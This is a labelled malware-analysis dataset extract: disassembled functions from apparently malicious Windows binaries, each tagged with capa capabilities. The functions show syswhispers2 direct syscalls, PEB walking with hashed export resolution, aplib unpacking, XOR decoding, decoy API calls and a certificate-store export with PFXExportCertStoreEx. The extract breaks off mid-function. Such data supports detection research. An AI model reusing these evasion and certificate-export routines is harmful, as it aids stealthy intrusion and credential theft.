joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140037140
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140032b4c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400371ca
cmp byte [rbp - 0x21], r15b
je 0x1400371c5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140037200
call fcn.140035248
test eax, eax
jne 0x1400371ec
cmp byte [rbp - 0x21], r15b
je 0x1400371e4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140037200
cmp byte [rbp - 0x21], r15b
je 0x1400371fd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14003212c
test eax, eax
jne 0x1400372a0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140032b4c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14003723f
cmp byte [rbp - 0x21], r15b
je 0x140037274
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140037274
call fcn.140035248
test eax, eax
jne 0x140037260
cmp byte [rbp - 0x21], r15b
je 0x140037259
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140037274
cmp byte [rbp - 0x21], r15b
je 0x140037271
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14003212c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400372a0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400372a3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400372b1
mov rcx, rdi
call fcn.1400320dc
cmp byte [rbp + 0x3f], r15b
je 0x1400372c0
mov rcx, qword [rbp + 0x27]
call fcn.1400320dc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14003a1a0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003a1c8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14003a1c8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x141a99058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141a991df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141a99089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a9906f
add dl, dl
jne 0x141a99096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a990f6
xor eax, eax
add dl, dl
jne 0x141a990a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a991ad
add dl, dl
jne 0x141a990b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a990c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a990d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a990dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141a990ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141a9907e
mov eax, 1
add dl, dl
jne 0x141a99106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a99113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a990fb
sub eax, ebx
mov ebx, 1
jne 0x141a9914c
mov ecx, 1
add dl, dl
jne 0x141a9912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141a9913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a99123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a9907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141a99168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141a99175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a9915d
cmp eax, 0x7d00
jae 0x141a9919b
cmp eax, 0x500
jb 0x141a99196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a9907e
cmp eax, 0x7f
ja 0x141a9919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a9907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141a991d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141a9907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400027e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000282a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000282a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000282a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000282a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000282a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000282c
xor al, al
add rsp, 0x28
ret
Function at 0x140001840
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x70], xmm7
mov ebp, edx
mov r14, rcx
test ebp, ebp
je 0x140001965
lea rcx, [0x14000cda0]
xor ebx, ebx
movabs rsi, 0xdbaf4383c59f19cf
call fcn.140006500
lea rcx, [0x14000cd80]
mov r15, rax
call fcn.140006500
movdqa xmm7, xmmword [0x140208040]
mov r12, rax
movdqa xmm6, xmmword [0x140208050]
lea rax, [0x14000b870]
mov qword [rsp + 0x28], rax
cmp byte [r15], 0
mov r13d, ebx
movaps xmmword [rsp + 0x30], xmm7
movzx edi, byte [r14 + rbx]
movaps xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x50], 0xcf
jne 0x140001918
mov rax, qword [rsp + 0x30]
mov byte [r12 + 0x21], 1
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rsp + 0x28]
mov qword [r12], rax
mov rax, qword [rsp + 0x38]
mov qword [r12 + 8], rax
mov rax, qword [rsp + 0x40]
mov qword [r12 + 0x10], rax
mov rax, qword [rsp + 0x48]
mov qword [r12 + 0x18], rax
mov eax, 0xffffffcf
mov byte [r12 + 0x20], al
mov byte [r15], 1
call fcn.140005c40
cmp byte [r12 + 0x21], 0
je 0x14000194c
xor eax, eax
nop word [rax + rax]
mov rcx, rax
mov rdx, rsi
and ecx, 7
shl rcx, 3
shr rdx, cl
xor byte [r12 + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001928
mov byte [r12 + 0x21], 0
and r13d, 0x1f
xor dil, byte [r12 + r13]
mov byte [r14 + rbx], dil
add rbx, 1
cmp rbp, rbx
jne 0x1400018b0
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x70]
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140004870
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
xor edx, edx
test rcx, rcx
mov rbx, r8
je 0x1400048a4
cmp word [rcx], 0x5a4d
jne 0x1400048a4
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x1400048a4
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400048a4
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.1400047b0
test eax, eax
jne 0x1400048c0
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140004820
test rax, rax
je 0x1400048b5
mov rcx, qword [rbx]
lea rdx, [rax + 0x10]
mov r9d, 8
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
call fcn.140004e4c
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret
Function at 0x140004ae0
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Populate syswhispers2 syscall list
Resolve function by parsing pe exports

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov r10d, dword [0x140206740]
test r10d, r10d
jne 0x140004cbe
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx + 0x30]
test rax, rax
je 0x140004cce
xor r9d, r9d
nop dword [rax + rax]
mov rdx, rax
movsxd rax, dword [rax + 0x3c]
mov eax, dword [rdx + rax + 0x88]
test eax, eax
je 0x140004b5f
lea r9, [rdx + rax]
mov eax, dword [r9 + 0xc]
add rax, rdx
mov r8d, dword [rax]
or r8d, 0x20202020
cmp r8d, 0x6c64746e
jne 0x140004b5f
mov eax, dword [rax + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x140004b74
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
test rax, rax
jne 0x140004b20
test r9, r9
je 0x140004cce
mov eax, dword [r9 + 0x18]
lea r13, [0x140206744]
xor r11d, r11d
mov edi, dword [r9 + 0x24]
mov r12d, dword [r9 + 0x1c]
lea ecx, [rax - 1]
mov eax, dword [r9 + 0x20]
add rdi, rdx
lea rbx, [rdi + rcx*2]
add r12, rdx
add rax, rdx
lea rsi, [rax + rcx*4]
jmp 0x140004bbc
lea rax, [rbx - 2]
sub rsi, 4
cmp rdi, rbx
je 0x140004c40
mov rbx, rax
mov eax, dword [rsi]
add rax, rdx
cmp word [rax], 0x775a
jne 0x140004ba8
cmp byte [rax], 0
mov ecx, r11d
lea rbp, [r13 + rcx*8]
je 0x140004cdb
cmp byte [rax + 1], 0
mov r8d, 0x3bb0c402
mov ecx, 1
mov r9d, 1
je 0x140004c0e
movzx ecx, word [rax + rcx]
mov r14d, r8d
add r9d, 1
ror r14d, 8
add ecx, r14d
xor r8d, ecx
mov ecx, r9d
cmp byte [rax + rcx], 0
jne 0x140004bf0
movzx eax, word [rbx]
mov dword [rbp], r8d
add r11d, 1
cmp r11d, 0x1f4
mov eax, dword [r12 + rax*4]
mov dword [rbp + 4], eax
jne 0x140004ba8
mov dword [0x140206740], 0x1f4
mov r9d, 0x1f3
jmp 0x140004c51
lea r9d, [r11 - 1]
cmp r11d, 1
mov dword [0x140206740], r11d
je 0x140004cbe
lea esi, [r11 - 2]
lea rbx, [0x14020674c]
nop dword [rax]
mov eax, r11d
sub eax, r10d
cmp eax, 1
je 0x140004cb5
lea rax, [0x140206744]
mov edx, esi
sub edx, r10d
lea r8, [rbx + rdx*8]
nop dword [rax + rax]
mov edx, dword [rax + 4]
mov ecx, dword [rax + 0xc]
cmp ecx, edx
jae 0x140004cac
movd xmm0, dword [rax]
movd xmm2, edx
movd xmm3, ecx
movd xmm1, dword [rax + 8]
punpckldq xmm0, xmm2
movq qword [rax + 8], xmm0
punpckldq xmm1, xmm3
movq qword [rax], xmm1
add rax, 8
cmp r8, rax
jne 0x140004c80
add r10d, 1
cmp r10d, r9d
jb 0x140004c60
mov eax, 1
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov r8d, 0x3ff0ac04
jmp 0x140004c0e

Function at 0x140004d50
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140004cf0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x1400060b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140208bc0]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14000611f
mov rcx, r9
call fcn.140005f80
test eax, eax
je 0x14000611f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14000611d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140006114
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14000611f
add rdx, 0x28
cmp rdx, r9
jne 0x140006100
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x180001000
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x130
mov rax, qword gs:[0x60]
mov esi, ecx
mov rbx, qword [rax + 0x18]
mov rbx, qword [rbx + 0x20]
test ecx, ecx
jne 0x180001039
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x150]
add rsp, 0x130
pop rsi
ret
mov qword [rsp + 0x140], rbp
mov qword [rsp + 0x148], rdi
test rbx, rbx
je 0x1800010fd
mov ebp, 0x104
nop word [rax + rax]
mov rdi, qword [rbx + 0x50]
test rdi, rdi
je 0x1800010f1
cmp word [rbx + 0x48], bp
jae 0x1800010f1
mov r8, rbp
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.180001590
xor r9d, r9d
cmp word [rdi], r9w
je 0x1800010d1
xor r10d, r10d
mov r11, rdi
xor eax, eax
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte [rax + r11]
lea eax, [r8 + 0x20]
movzx ecx, al
lea edx, [r8 - 0x41]
cmp dl, 0x19
cmova ecx, r8d
inc r9d
mov byte [rsp + r10 + 0x20], cl
mov rdi, qword [rbx + 0x50]
mov r10d, r9d
lea rax, [r9 + r9]
cmp word [rax + rdi], 0
jne 0x1800010a0
mov rcx, rdi
mov byte [rsp + r9 + 0x20], 0
call fcn.1800013a0
cmp eax, esi
je 0x180001120
lea rcx, [rsp + 0x20]
call fcn.1800013a0
cmp eax, esi
je 0x180001120
mov rbx, qword [rbx]
test rbx, rbx
jne 0x180001060
xor eax, eax
mov rbp, qword [rsp + 0x140]
mov rdi, qword [rsp + 0x148]
mov rbx, qword [rsp + 0x150]
add rsp, 0x130
pop rsi
ret
mov rax, qword [rbx + 0x20]
jmp 0x1800010ff
Function at 0x180001130
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x240
mov r15d, edx
mov rdi, rcx
test rcx, rcx
je 0x1800011ce
test edx, edx
je 0x1800011ce
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1800011ce
mov esi, dword [rax + rcx + 0x88]
xor ebp, ebp
mov eax, dword [rax + rcx + 0x8c]
add rsi, rcx
mov ebx, ebp
mov dword [rsp + 0x280], eax
mov r12d, dword [rsi + 0x20]
mov r13d, dword [rsi + 0x1c]
add r12, rcx
mov edx, dword [rsi + 0x24]
add r13, rcx
add rdx, rcx
mov qword [rsp + 0x290], rdx
cmp dword [rsi + 0x14], ebx
jbe 0x1800011ce
mov eax, ebx
mov ecx, dword [r12 + rax*4]
movzx eax, word [rdx + rax*2]
add rcx, rdi
mov r14d, dword [r13 + rax*4]
add r14, rdi
call fcn.1800013a0
cmp eax, r15d
je 0x1800011eb
mov rdx, qword [rsp + 0x290]
inc ebx
cmp ebx, dword [rsi + 0x14]
jb 0x1800011a0
xor eax, eax
mov rbx, qword [rsp + 0x288]
add rsp, 0x240
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp r14, rsi
jb 0x180001389
mov eax, dword [rsp + 0x280]
add rax, rsi
cmp r14, rax
jae 0x180001389
mov r15d, 0x104
lea rcx, [rsp + 0x20]
mov r8d, r15d
xor edx, edx
call fcn.180001590
mov rbx, 0xffffffffffffffff
mov edi, ebp
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [r14 + r8], dil
jne 0x180001230
mov rdx, r14
lea rcx, [rsp + 0x20]
call fcn.180001520
mov ecx, ebp
lea rax, [rsp + 0x20]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], cl
jne 0x180001250
test rbx, rbx
je 0x180001280
lea rdx, [rsp + 0x20]
cmp byte [rdx], 0x2e
je 0x180001276
inc ecx
inc rdx
movsxd rax, ecx
cmp rax, rbx
jb 0x180001262
jmp 0x180001280
movsxd rax, ecx
mov edi, ecx
mov byte [rsp + rax + 0x20], bpl
mov eax, edi
lea rsi, [rsp + 0x21]
add rsi, rax
mov rax, qword gs:[0x60]
mov rbx, qword [rax + 0x18]
mov rbx, qword [rbx + 0x20]
test rbx, rbx
je 0x180001354
cmp qword [rbx + 0x50], rbp
je 0x180001342
cmp word [rbx + 0x48], r15w
jae 0x180001342
mov r8, r15
lea rcx, [rsp + 0x130]
xor edx, edx
call fcn.180001590
mov rax, qword [rbx + 0x50]
mov r9d, ebp
cmp word [rax], bp
je 0x180001313
mov r10, rbp
mov rcx, rbp
nop dword [rax]
movzx r8d, byte [rcx + rax]
lea eax, [r8 + 0x20]
movzx ecx, al
lea edx, [r8 - 0x41]
cmp dl, 0x19
cmova ecx, r8d
inc r9d
mov byte [rsp + r10 + 0x130], cl
mov rax, qword [rbx + 0x50]
mov r10d, r9d
lea rcx, [r9 + r9]
cmp word [rcx + rax], bp
jne 0x1800012e0
mov eax, r9d
mov byte [rsp + rax + 0x130], bpl
mov rcx, qword [rbx + 0x50]
call fcn.1800013a0
cmp eax, 0x6ae69f02
je 0x180001350
lea rcx, [rsp + 0x130]
call fcn.1800013a0
cmp eax, 0x6ae69f02
je 0x180001350
mov rbx, qword [rbx]
test rbx, rbx
jne 0x1800012a4
jmp 0x180001354
mov rbp, qword [rbx + 0x20]
mov edx, 0x3fc1bd8d
mov rcx, rbp
call fcn.180001130
mov rdi, rax
test rax, rax
je 0x180001389
mov rcx, rsi
call fcn.1800013a0
lea rcx, [rsp + 0x20]
mov ebx, eax
call rdi
mov rcx, rax
mov edx, ebx
call fcn.180001130
jmp 0x1800011d0
mov rax, r14
jmp 0x1800011d0
Function at 0x1800013a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r8, rcx
mov eax, 0xffffffff
movzx ecx, byte [rcx]
test cl, cl
je 0x18000144c
movsx edx, cl
lea r8, [r8 + 1]
xor eax, edx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x1800013b3
not eax
ret

Function at 0x1800015c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x30
mov rsi, r9
mov rbx, r8
mov r14, rdx
mov r13, rcx
test r8b, 0xf
jne 0x1800016ed
mov r15, rbx
shr r15, 4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsi], rax
mov rdi, rax
test rax, rax
je 0x1800016ed
lea rsi, [r13 + 0xf0]
test r15, r15
je 0x1800016d9
mov qword [rsp + 0x60], rbp
mov rbx, rsi
mov qword [rsp + 0x68], r12
lea rbp, [rax + 0xf]
lea r12, [rsi + 0xf]
sub rbx, rax
nop dword [rax]
mov r8d, 0x10
lea rcx, [rsp + 0x20]
mov rdx, r14
call fcn.180001520
mov r9, r14
mov r8, rdi
mov edx, 0xe
mov rcx, r13
call fcn.180001750
cmp rdi, r12
ja 0x180001692
cmp rbp, rsi
jb 0x180001692
mov rax, rdi
mov edx, 0x10
nop dword [rax + rax]
movzx ecx, byte [rbx + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x180001680
jmp 0x1800016a2
movdqu xmm1, xmmword [rdi]
movdqu xmm0, xmmword [rsi]
pxor xmm1, xmm0
movdqu xmmword [rdi], xmm1
mov r8d, 0x10
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.180001520
add rdi, 0x10
add rbp, 0x10
sub rbx, 0x10
add r14, 0x10
sub r15, 1
jne 0x180001640
mov r12, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov al, 1
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret
mov rbx, qword [rsp + 0x70]
xor al, al
add rsp, 0x30
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret
Function at 0x180002b90
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x240
xor edi, edi
cmp qword [0x180005088], rdi
mov qword [rsp + 0x250], rdi
je 0x180002da2
cmp dword [0x180005090], edi
je 0x180002da2
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [rdi + 8]
mov r8d, 0xff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x180002be8
mov dword [rax], 0x9c
mov rbx, rax
cmp dword [rbx], 0x15e
jle 0x180002c5d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x208
call fcn.180001590
xor r9d, r9d
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0xe]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ecx, 0x6ae69f02
call fcn.180001000
mov rcx, rax
mov edx, 0x91765761
call fcn.180001130
mov ecx, 0x6ae69f02
mov rbx, rax
call fcn.180001000
mov rcx, rax
mov edx, 0x8670f6ca
call fcn.180001130
mov rdi, rax
test rbx, rbx
je 0x180002da2
test rax, rax
je 0x180002da2
lea rcx, [0x180005020]
call fcn.180001480
test eax, eax
je 0x180002da2
movss xmm0, dword [0x180005004]
mulss xmm0, dword [0x180004100]
mov rdx, qword [0x180005078]
mov ecx, dword [0x180005070]
cvttss2si rax, xmm0
imul eax, eax, 0x2710
neg rax
mov qword [rsp + 0x258], rax
call fcn.180003b20
lea rdx, [rsp + 0x258]
xor ecx, ecx
call fcn.180003b42
lea rdx, [0x180003a70]
mov ecx, 1
call rbx
mov rbx, rax
test rax, rax
je 0x180002da2
call fcn.180003690
mov rcx, rbx
call rdi
test eax, eax
je 0x180002da2
mov edx, dword [0x180005090]
lea r8, [rsp + 0x250]
mov rcx, qword [0x180005088]
call fcn.1800032f0
test eax, eax
je 0x180002da2
mov rcx, qword [rsp + 0x250]
call fcn.1800031d0
xor eax, eax
mov rbx, qword [rsp + 0x260]
add rsp, 0x240
pop rdi
ret
mov rbx, qword [rsp + 0x260]
mov eax, 0xffffffff
add rsp, 0x240
pop rdi
ret
Function at 0x180001000
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov rdi, rcx
mov rcx, rdx
mov rbp, rdx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x180037ae8]
lea r8d, [rax + rsi + 1]
xor edx, edx
mov r13d, eax
add r8, 5
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
cmp rax, rbx
je 0x18000122a
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [rsi + 1]
mov rdx, rdi
mov rcx, r12
mov byte [rsi + r12], 0x5c
mov byte [rax + r12], bl
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x18003bd7c]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [0x180037ae8]
lea r8d, [r13 + 1]
add r8, r8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
cmp rax, rbx
je 0x180001218
movsx eax, byte [rdi]
mov word [rbp], ax
cmp ax, bx
je 0x1800010d2
mov rcx, rbp
inc rdi
add rcx, 2
movsx eax, byte [rdi]
mov word [rcx], ax
cmp ax, bx
jne 0x1800010c0
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.CRYPT32.dll_CertOpenSystemStoreW]
mov rdi, rax
cmp rax, rbx
je 0x180001206
xor edx, edx
mov rcx, rax
mov esi, ebx
call qword [sym.imp.CRYPT32.dll_CertEnumCertificatesInStore]
cmp rax, rbx
je 0x1800011fb
mov rdx, rax
mov rcx, rdi
inc esi
call qword [sym.imp.CRYPT32.dll_CertEnumCertificatesInStore]
cmp rax, rbx
jne 0x1800010ff
cmp esi, ebx
je 0x1800011fb
xor eax, eax
lea r8, [0x18003b860]
lea rdx, [rsp + 0x40]
lea esi, [rax + 4]
xor r9d, r9d
mov rcx, rdi
mov dword [rsp + 0x40], ebx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], esi
call qword [sym.imp.CRYPT32.dll_PFXExportCertStoreEx]
cmp eax, ebx
je 0x1800011fb
mov r8d, dword [rsp + 0x40]
mov rcx, qword [0x180037ae8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x48], rax
cmp rax, rbx
je 0x1800011fb
lea r8, [0x18003b860]
lea rdx, [rsp + 0x40]
xor r9d, r9d
mov rcx, rdi
mov dword [rsp + 0x20], esi
call qword [sym.imp.CRYPT32.dll_PFXExportCertStoreEx]
